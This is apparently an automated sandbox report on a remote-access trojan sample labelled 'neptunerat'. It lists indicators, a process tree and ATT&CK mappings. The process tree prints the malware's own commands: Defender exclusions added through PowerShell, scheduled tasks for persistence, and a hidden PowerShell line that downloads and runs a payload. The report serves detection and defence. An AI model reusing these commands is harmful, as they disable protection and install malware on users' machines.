neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	Bypassed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	6b398999-d734-45c5-978c-d12e4868793c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-42486406-2033776002-1658862356-1000\Control Panel\International\Geo\Nation	svhost.exe

Executes dropped EXE 5 IoCs

pid	Process
1928	6b398999-d734-45c5-978c-d12e4868793c.exe
1780	svhost.exe
3924	svhost.exe
1524	rmkzmtwb.ior.exe
560	svhost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File created	C:\Windows\svhost.exe	6b398999-d734-45c5-978c-d12e4868793c.exe
File opened for modification	C:\Windows\svhost.exe	6b398999-d734-45c5-978c-d12e4868793c.exe
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1128	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4368	SCHTASKS.exe
232	schtasks.exe
2036	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3740	powershell.exe
3740	powershell.exe
3860	powershell.exe
3860	powershell.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
2704	powershell.exe
2704	powershell.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
2704	powershell.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
2704	powershell.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe
1524	rmkzmtwb.ior.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3336	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1928	6b398999-d734-45c5-978c-d12e4868793c.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeIncreaseQuotaPrivilege	3740	powershell.exe
Token: SeSecurityPrivilege	3740	powershell.exe
Token: SeTakeOwnershipPrivilege	3740	powershell.exe
Token: SeLoadDriverPrivilege	3740	powershell.exe
Token: SeSystemProfilePrivilege	3740	powershell.exe
Token: SeSystemtimePrivilege	3740	powershell.exe
Token: SeProfSingleProcessPrivilege	3740	powershell.exe
Token: SeIncBasePriorityPrivilege	3740	powershell.exe
Token: SeCreatePagefilePrivilege	3740	powershell.exe
Token: SeBackupPrivilege	3740	powershell.exe
Token: SeRestorePrivilege	3740	powershell.exe
Token: SeShutdownPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeSystemEnvironmentPrivilege	3740	powershell.exe
Token: SeRemoteShutdownPrivilege	3740	powershell.exe
Token: SeUndockPrivilege	3740	powershell.exe
Token: SeManageVolumePrivilege	3740	powershell.exe
Token: 33	3740	powershell.exe
Token: 34	3740	powershell.exe
Token: 35	3740	powershell.exe
Token: 36	3740	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe
Token: SeUndockPrivilege	3860	powershell.exe
Token: SeManageVolumePrivilege	3860	powershell.exe
Token: 33	3860	powershell.exe
Token: 34	3860	powershell.exe
Token: 35	3860	powershell.exe
Token: 36	3860	powershell.exe
Token: SeDebugPrivilege	1780	svhost.exe
Token: SeDebugPrivilege	3924	svhost.exe
Token: SeDebugPrivilege	3924	svhost.exe
Token: SeDebugPrivilege	1524	rmkzmtwb.ior.exe
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeShutdownPrivilege	4920	svchost.exe
Token: SeCreatePagefilePrivilege	4920	svchost.exe
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE
Token: SeShutdownPrivilege	3336	Explorer.EXE
Token: SeCreatePagefilePrivilege	3336	Explorer.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1896	Conhost.exe
4336	Conhost.exe
2064	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4180 wrote to memory of 1928	4180	Bypassed.exe	83
PID 1928 wrote to memory of 3740	1928	6b398999-d734-45c5-978c-d12e4868793c.exe	84
PID 1928 wrote to memory of 3860	1928	6b398999-d734-45c5-978c-d12e4868793c.exe	88
PID 3924 wrote to memory of 1524	3924	svhost.exe	97
PID 3924 wrote to memory of 2036	3924	svhost.exe	98
PID 1524 wrote to memory of 640	1524	rmkzmtwb.ior.exe	5
PID 1524 wrote to memory of 688	1524	rmkzmtwb.ior.exe	7
PID 1524 wrote to memory of 884	1524	rmkzmtwb.ior.exe	11
PID 1524 wrote to memory of 1016	1524	rmkzmtwb.ior.exe	13
PID 1524 wrote to memory of 772	1524	rmkzmtwb.ior.exe	14
PID 1524 wrote to memory of 984	1524	rmkzmtwb.ior.exe	15
PID 1524 wrote to memory of 1028	1524	rmkzmtwb.ior.exe	16
PID 1524 wrote to memory of 1040	1524	rmkzmtwb.ior.exe	17
PID 1524 wrote to memory of 1116	1524	rmkzmtwb.ior.exe	18
PID 1524 wrote to memory of 1148	1524	rmkzmtwb.ior.exe	19
PID 1524 wrote to memory of 1204	1524	rmkzmtwb.ior.exe	20
PID 1524 wrote to memory of 1232	1524	rmkzmtwb.ior.exe	21
PID 1524 wrote to memory of 1248	1524	rmkzmtwb.ior.exe	22
PID 1524 wrote to memory of 1512	1524	rmkzmtwb.ior.exe	24
PID 1524 wrote to memory of 1544	1524	rmkzmtwb.ior.exe	25
PID 1524 wrote to memory of 1552	1524	rmkzmtwb.ior.exe	26
PID 1524 wrote to memory of 1572	1524	rmkzmtwb.ior.exe	27
PID 1524 wrote to memory of 1580	1524	rmkzmtwb.ior.exe	28
PID 1524 wrote to memory of 1732	1524	rmkzmtwb.ior.exe	29
PID 1524 wrote to memory of 1796	1524	rmkzmtwb.ior.exe	30
PID 1524 wrote to memory of 1812	1524	rmkzmtwb.ior.exe	31
PID 1524 wrote to memory of 1860	1524	rmkzmtwb.ior.exe	32
PID 1524 wrote to memory of 1936	1524	rmkzmtwb.ior.exe	33
PID 1524 wrote to memory of 2024	1524	rmkzmtwb.ior.exe	34
PID 1524 wrote to memory of 1968	1524	rmkzmtwb.ior.exe	35
PID 1524 wrote to memory of 1684	1524	rmkzmtwb.ior.exe	36
PID 1524 wrote to memory of 2052	1524	rmkzmtwb.ior.exe	37
PID 1524 wrote to memory of 2092	1524	rmkzmtwb.ior.exe	38
PID 1524 wrote to memory of 2148	1524	rmkzmtwb.ior.exe	39
PID 1524 wrote to memory of 2204	1524	rmkzmtwb.ior.exe	40
PID 1524 wrote to memory of 2356	1524	rmkzmtwb.ior.exe	41
PID 1524 wrote to memory of 2424	1524	rmkzmtwb.ior.exe	43
PID 1524 wrote to memory of 2608	1524	rmkzmtwb.ior.exe	44
PID 1524 wrote to memory of 2792	1524	rmkzmtwb.ior.exe	46
PID 1524 wrote to memory of 2800	1524	rmkzmtwb.ior.exe	47
PID 1524 wrote to memory of 2876	1524	rmkzmtwb.ior.exe	48
PID 1524 wrote to memory of 2944	1524	rmkzmtwb.ior.exe	49
PID 1524 wrote to memory of 2968	1524	rmkzmtwb.ior.exe	50
PID 1524 wrote to memory of 2984	1524	rmkzmtwb.ior.exe	51
PID 1524 wrote to memory of 428	1524	rmkzmtwb.ior.exe	52
PID 1524 wrote to memory of 2916	1524	rmkzmtwb.ior.exe	53
PID 1524 wrote to memory of 3096	1524	rmkzmtwb.ior.exe	54
PID 1524 wrote to memory of 3152	1524	rmkzmtwb.ior.exe	55
PID 1524 wrote to memory of 3288	1524	rmkzmtwb.ior.exe	56
PID 1524 wrote to memory of 3336	1524	rmkzmtwb.ior.exe	57
PID 1524 wrote to memory of 3512	1524	rmkzmtwb.ior.exe	58
PID 1524 wrote to memory of 3792	1524	rmkzmtwb.ior.exe	60
PID 1524 wrote to memory of 4040	1524	rmkzmtwb.ior.exe	62
PID 1524 wrote to memory of 1192	1524	rmkzmtwb.ior.exe	63
PID 1524 wrote to memory of 4408	1524	rmkzmtwb.ior.exe	66
PID 1524 wrote to memory of 4692	1524	rmkzmtwb.ior.exe	68
PID 1524 wrote to memory of 3272	1524	rmkzmtwb.ior.exe	69
PID 1524 wrote to memory of 4608	1524	rmkzmtwb.ior.exe	70
PID 1524 wrote to memory of 2328	1524	rmkzmtwb.ior.exe	71
PID 1524 wrote to memory of 596	1524	rmkzmtwb.ior.exe	72
PID 1524 wrote to memory of 5116	1524	rmkzmtwb.ior.exe	73
PID 1524 wrote to memory of 2112	1524	rmkzmtwb.ior.exe	74
PID 1524 wrote to memory of 4848	1524	rmkzmtwb.ior.exe	75
PID 1524 wrote to memory of 4892	1524	rmkzmtwb.ior.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1148

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-419ffaf8-25c6-496a-a310-49cc074880c2 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a320a26f-3a0b-4aa1-a24b-9cafb6c381fb -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-33bb4385-77d4-4596-b3d5-dba9d4690a56 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-50a712de-aa6b-4c5c-9763-6bea41f1cd7f -LifetimeId:214b4103-1b63-40e0-8d28-60563782a8a1 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1552
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3096
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Users\Admin\AppData\Local\Temp\rmkzmtwb.ior.exe
    "C:\Users\Admin\AppData\Local\Temp\rmkzmtwb.ior.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1524
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2036
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4368
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:4336
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:232
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1596
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
    3⤵
    PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpED39.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1812
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2204

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2356

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3288

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3336
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4180
- - C:\Users\Admin\AppData\Local\Temp\6b398999-d734-45c5-978c-d12e4868793c.exe
    "C:\Users\Admin\AppData\Local\Temp\6b398999-d734-45c5-978c-d12e4868793c.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3512

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3792

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4040

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1192

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4408

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3272

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2328

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5116

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4848

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:4892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4996

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:784

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 276e700b608ce95d7256d5539f40286b UqiYp8RCgU6wrVL8tdxq9Q.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:4016
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1172

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1100

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:3120

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:3164

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:1896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4920

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:2064

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:560

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
PID:1656

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

System Information Discovery